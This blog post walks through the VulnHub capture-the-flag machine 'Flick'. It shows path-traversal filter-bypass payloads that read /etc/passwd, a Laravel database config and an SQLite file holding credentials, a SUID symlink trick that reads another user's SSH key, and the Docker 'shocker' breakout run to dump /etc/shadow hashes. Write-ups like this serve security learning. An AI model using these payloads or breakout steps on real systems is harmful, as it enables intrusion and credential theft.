Quick tricks to beat the Flick

So here’s my guide to another CTF from VulnHub called Flick:1.  This one was actually released before Tr0ll:1, but I finished this one after as I was trolled so much on the first one I had to take a break and try something else. 

As usual, I made sure the VM was NAT’ed, booted and -sn ‘d my way to an IP, followed by a full port scan.

nmap2 ports, 22 running OpenSSH and an unknown service on 8881.  There was some interesting text appearing as can be seen above (there’s enough to see but I’ve cropped the rest).  I telnet’ed to 8881.

telnet8881So I’m looking to flick a switch and open a door.  As you can see anything I pass is returned to me with ‘OK’ which clearly is not.  Poirot here is already beginning to lose hope as this and SSH (which of course I don’t have any passwords for) are seemingly the only 2 things I have to go on….

Next.  SSH to the box to see if anything is out of the ordinary.

telnet22

A nice ASCII title and my expected password prompt. But what’s this you say? Loads of ostensibly trivial hex? (once again there’s lots more above but I’ve cropped the picture).  Ok so my leads so far are random hex, or the random hex.

Let’s decode the random hex.

hex2ascii

Shazam. This looks like Base64.  Let’s decode…

base64

…and decode, and decode, and decode. Burp’s decoder made this very easy fortunately.  I didn’t count but it was more than 10 times in total.  But alas, could this string be a password?  We could guess some usernames and see if we can now SSH in, but I was thinking more of our switch that we need to flick.

switchopen

With only 2 ports to start with and both have now been looked at, the “door” almost has to be a metaphor for port.  So here we go again.

2ndnmap

Ok, 80’s up.  I appear to have been overrun by cats…..  No, I didn’t say “awww” either.

webpage

The site only seemed to have one other page, a login page.  Every attempt to modify the URL to point elsewhere resulted in the second screenshot below, of which none of the links went anywhere.

loginpage

foobar I tried admin:admin, admin:password etc just to see, no joy.  I then saw that the page stated that demo credentials needed to be used, so I tried demo:password, demo:demo and I (unfortunately I suppose) managed to guess the credentials of demo:demo123 a few tries later.

Once logged in there were 2 immediately apparent differences.  The ability to download pictures and upload new ones.  Contrary to the title of this post, there was nothing ‘quick’ about any of the tricks I tried to get a shell.  I uploaded a shell without issue but couldn’t for the life of me get it to give me anything meaningful.  My upload was stored on the second page and even though I managed to get it to connect to my netcat listener, something was going wrong as it was just sending the text back.  If I were smarter and could code a better shell maybe this would have worked, who knows.

Time to move away from the upload and go to the download.  I intercepted the below request when downloading a picture.

burp-dl

Woohoo, a file path.  The LFI minions in my head scream out to me and I go to work.  Strike 1…

/image/download?filename=../../etc/passwd
/image/download?filename=../../../etc/passwd
/image/download?filename=../../../../etc/passwd

All of the above attempts resulted in a page which contained the following:
invalid response

My ../ seemed to be stripped out in the response, so I tested the theory further by adding a ….// into  the file path.  Strike 2…

/image/download?filename=../....//../etc/passwd

Which resulted in the following:

invalid response2Great, it’s only stripping out a single ../ so I padded out the file path until I struck gold. Strike 3?

/image/download?filename=....//....//....//....//etc/passwd

lfiNo, home run.  I noted a couple of users that were quickly identifiable.  It was at this point that I admit to being stuck for ages, as I tried poking around other locations to try and enumerate further information but didn’t get anywhere meaningful.  Then I finally noticed the ‘laravel’ cookie and having no idea what laravel was, a subsequent Google search told me it was a PHP framework and further reading identified a database config file to be located at app/config/database.php.  Back in Burp repeater I changed the location and removed ….// one set at a time until…

/image/download?filename=....//app/config/database.php
<!--?php return array( 	/* 	|-------------------------------------------------------------------------- 	| PDO Fetch Style 	|-------------------------------------------------------------------------- 	| 	| By default, database results will be returned as instances of the PHP 	| stdClass object; however, you may desire to retrieve records in an 	| array format for simplicity. Here you can tweak the fetch style. 	| 	*/ 	'fetch' => PDO::FETCH_CLASS,

	/*
	|--------------------------------------------------------------------------
	| Default Database Connection Name
	|--------------------------------------------------------------------------
	|
	| Here you may specify which of the database connections below you wish
	| to use as your default connection for all database work. Of course
	| you may use many connections at once using the Database library.
	|
	*/

	// Jan 2014 note: We have moved away from the old crappy SQLite 2.x database and moved
	// on to the new and improved MySQL database. So, I will just comment out this as it is
	// no longer in use

	//'default' => 'sqlite',
	'default' => 'mysql',

	/*
	|--------------------------------------------------------------------------
	| Database Connections
	|--------------------------------------------------------------------------
	|
	| Here are each of the database connections setup for your application.
	| Of course, examples of configuring each database platform that is
	| supported by Laravel is shown below to make development simple.
	|
	|
	| All database work in Laravel is done through the PHP PDO facilities
	| so make sure you have the driver for your particular database of
	| choice installed on your machine before you begin development.
	|
	*/

	'connections' => array(

		'sqlite' => array(
			'driver'   => 'sqlite',
			'database' => __DIR__.'/../database/production.sqlite', // OLD DATABASE NO LONGER IN USE!
			'prefix'   => '',
		),

		'mysql' => array(
			'driver'    => 'mysql',
			'host'      => 'localhost',
			'database'  => 'flick',
			'username'  => 'flick',
			'password'  => 'resuddecNeydmar3',
			'charset'   => 'utf8',
			'collation' => 'utf8_unicode_ci',
			'prefix'    => '',
		),

		'pgsql' => array(
			'driver'   => 'pgsql',
			'host'     => 'localhost',
			'database' => 'forge',
			'username' => 'forge',
			'password' => '',
			'charset'  => 'utf8',
			'prefix'   => '',
			'schema'   => 'public',
		),

		'sqlsrv' => array(
			'driver'   => 'sqlsrv',
			'host'     => 'localhost',
			'database' => 'database',
			'username' => 'root',
			'password' => '',
			'prefix'   => '',

Now we’re in business.  We have a file path to an ‘old’ SQLite database which I’m going to check out first.  Back to repeater.

/image/download?filename=....//app/database/production.sqlite

sqliteWhy I do believe those are credentials! Robin’s password didn’t work, but fortunately Dean’s did.

sshdean

There were 2 files in dean’s home directory, message.txt and an executable called real_docker.  Sudo -l didn’t work so I started by looking at the txt file which stated that Dean should be able to read Robin’s dockerfile and provides a location.

messagetxt

So I run the read_docker program and the syntax says I need to pass the location. Copying the one from the message.txt outputs the following.

docker

I noticed the the SUID bit was set on the program so I could run it as the owner, Robin.

-rwsr-xr-x 1 robin robin 8987 Aug  4 14:45 read_docker

I tried all manner of creating files/folders in various places to see if I could write something that would execute as Robin and nothing worked.  I finally created a link to Robin’s profile and tried to get Docker to read it.

dean@flick:~$ ln /home/robin/.bashrc Dockerfile
ln: accessing `/home/robin/.bashrc': Permission denied
dean@flick:~$ ln -s /home/robin/.bashrc Dockerfile
dean@flick:~$ ls -la
total 40
drwxr-xr-x 3 dean  dean  4096 Sep 11 17:13 .
drwxr-xr-x 4 root  root  4096 Aug  2 12:05 ..
-rw-r--r-- 1 dean  dean   220 Aug  2 12:05 .bash_logout
-rw-r--r-- 1 dean  dean  3486 Aug  2 12:05 .bashrc
drwx------ 2 dean  dean  4096 Aug  2 12:31 .cache
lrwxrwxrwx 1 dean  dean    19 Sep 11 17:13 Dockerfile -> /home/robin/.bashrc
-rw-r--r-- 1 root  root  1250 Aug  4 12:56 message.txt
-rw-r--r-- 1 dean  dean   675 Aug  2 12:05 .profile
-rwsr-xr-x 1 robin robin 8987 Aug  4 14:45 read_docker
dean@flick:~$ ./read_docker /home/dean/
# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples

# If not running interactively, don't do anything
[ -z "$PS1" ] && return
...

I tried a standard hard link first which failed, then a symbolic link which didn’t which resulted in successfully reading robin’s .bashrc file.  So maybe if it exists I should try and grab his SSH private key?

robinssh

Created a file, made it read-only and logged in.

sshrobin

A sudo -l to see what robin can do works:

robin@flick:~$ sudo -l
Matching Defaults entries for robin on this host:
    env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User robin may run the following commands on this host:
    (root) NOPASSWD: /opt/start_apache/restart.sh

Off we go. I wanted to read what the script was actually doing but I didn’t have permission.  Running it didn’t give me any indication apart from what I expected it to say.

robin@flick:~$ sudo /opt/start_apache/restart.sh
 * Restarting web server apache2                                                                                                                             apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName
 ... waiting apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName
                                                                                                                                                      [ OK ]
start_apache-8000: stopped
start_apache-8000: started
robin@flick:~$

So I left the script and then looked at the Docker program. After wasting time running nearly every command except the one I actually needed, I looked at the version…(pentest 101 fail).

robin@flick:~$ docker version
Client version: 0.11.0
Client API version: 1.11
Go version (client): go1.2.1
Git commit (client): 15209c3
Server version: 0.11.0
Server API version: 1.11
Git commit (server): 15209c3
Go version (server): go1.2.1
Last stable version: 1.2.0, please update docker
robin@flick:~$

Docker is out of date.  Let’s see if there’s anything we can play with here. Quick Googling identifies the following:

shocker

Shortly after I found the file on github.  So I grabbed it and looked and examined the file.

This is a Docker Image used to test container breakout exploit first posted here:
http://stealth.openwall.net/xSports/shocker.c

The container will attempt to find and print contents of the Docker host's /etc/shadow.

## Usage

To run the PoC exploit use:

 docker run gabrtv/shocker

## Building

To modify source and rebuild, use:

 docker build -t gabrtv/shocker .
...

So I ran the first command, the script downloaded some files, worked some magic and….

[!] Win! /etc/shadow output follows:
root:$6$rOirJ02l$HmauQaCRxYGzGyLeUcNOo0d9FkmJ0Hp2qA8DhAIWd7gJs32MskKYEf6dPxrwZ8XyaL0CXtFe4HBvtMHQCfLG80:16283:0:99999:7:::
daemon:*:16283:0:99999:7:::
bin:*:16283:0:99999:7:::
sys:*:16283:0:99999:7:::
sync:*:16283:0:99999:7:::
games:*:16283:0:99999:7:::
man:*:16283:0:99999:7:::
lp:*:16283:0:99999:7:::
mail:*:16283:0:99999:7:::
news:*:16283:0:99999:7:::
uucp:*:16283:0:99999:7:::
proxy:*:16283:0:99999:7:::
www-data:*:16283:0:99999:7:::
backup:*:16283:0:99999:7:::
list:*:16283:0:99999:7:::
irc:*:16283:0:99999:7:::
gnats:*:16283:0:99999:7:::
nobody:*:16283:0:99999:7:::
libuuid:!:16283:0:99999:7:::
syslog:*:16283:0:99999:7:::
messagebus:*:16283:0:99999:7:::
whoopsie:*:16283:0:99999:7:::
landscape:*:16283:0:99999:7:::
sshd:*:16283:0:99999:7:::
robin:$6$j5lRdjqM$HrKVVv4FSZ0StRLgXSe3Nt8bvsaE6yPdRRvggXdW4lIxmVs8t8ny1WWXNkdiF/ccAWU.jthvwQKgWAG5JtZBv1:16284:0:99999:7:::
mysql:!:16283:0:99999:7:::
dean:$6$kLXH5HBN$vAiHt14LlYtq9EDoIffiZFP9goUeyvn5cHTaehsysvg9TFQlSAMZuGer5OqEef2ONAeMHi6hU.OygO7Uo6b8Z.:16284:0:99999:7:::

So far so good.  I thought if the script pulls out the shadow file, maybe it can be modified to pull out another file? A flag file maybe?

shockermodI modified the above to /root/flag.txt , ran docker build -t gabrtv/shocker .  to recompile as originally shown in the source file, and finally re-ran it.

robin@flick:~/shocker$ docker run gabrtv/shocker
[***] docker VMM-container breakout Po(C) 2014             [***]
[***] The tea from the 90's kicks your sekurity again.     [***]
[***] If you have pending sec consulting, I'll happily     [***]
[***] forward to my friends who drink secury-tea too!      [***]
[*] Resolving 'root/flag.txt'
[*] Found .
[*] Found mnt
[*] Found home
[*] Found root
[+] Match: root ino=130833
[*] Brute forcing remaining 32bit. This can take a while...
[*] (root) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x11, 0xff, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00};
[*] Resolving 'flag.txt'
[*] Found .
[*] Found .bashrc
[*] Found 53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc
[*] Found flag.txt
[+] Match: flag.txt ino=165017
[*] Brute forcing remaining 32bit. This can take a while...
[*] (flag.txt) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x99, 0x84, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Got a final handle!
[*] #=8, 1, char nh[] = {0x99, 0x84, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Win! /etc/shadow output follows:
Errr, you are close, but this is not the flag you are looking for.

robin@flick:~/shocker$

Haha, still being trolled this far in!  Looking back over the output I noticed a folder present as well as the fictitious flag.txt.  Let’s look in there instead.

Modify, recompile, run and…

robin@flick:~/shocker$ docker run gabrtv/shocker
[***] docker VMM-container breakout Po(C) 2014             [***]
[***] The tea from the 90's kicks your sekurity again.     [***]
[***] If you have pending sec consulting, I'll happily     [***]
[***] forward to my friends who drink secury-tea too!      [***]
[*] Resolving 'root/53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc/'
[*] Found .
[*] Found mnt
[*] Found home
[*] Found root
[+] Match: root ino=130833
[*] Brute forcing remaining 32bit. This can take a while...
[*] (root) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x11, 0xff, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00};
[*] Resolving '53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc/'
[*] Found .
[*] Found .bashrc
[*] Found 53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc
[+] Match: 53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc ino=138648
[*] Brute forcing remaining 32bit. This can take a while...
[*] (53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x98, 0x1d, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00};
[*] Resolving ''
[*] Found .
[*] Found real_flag.txt
[*] Found ..
[*] Brute forcing remaining 32bit. This can take a while...
[-] Cannot find valid handle!: Bad file descriptor
robin@flick:~/shocker$

Aha, this must be it! real_flag.txt ! So for my final ‘quick trick to beat the flick’ I modified the script one last time, recompiled and ran it again…

[*] Resolving 'real_flag.txt'
[*] Found .
[*] Found real_flag.txt
[+] Match: real_flag.txt ino=165015
[*] Brute forcing remaining 32bit. This can take a while...
[*] (real_flag.txt) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x97, 0x84, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Got a final handle!
[*] #=8, 1, char nh[] = {0x97, 0x84, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Win! /etc/shadow output follows:
Congrats!

You have completed 'flick'! I hope you have enjoyed doing it as much as I did creating it :)

ciao for now!
@leonjza

Jackpot

This entry was posted in CTF and tagged , . Bookmark the permalink.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.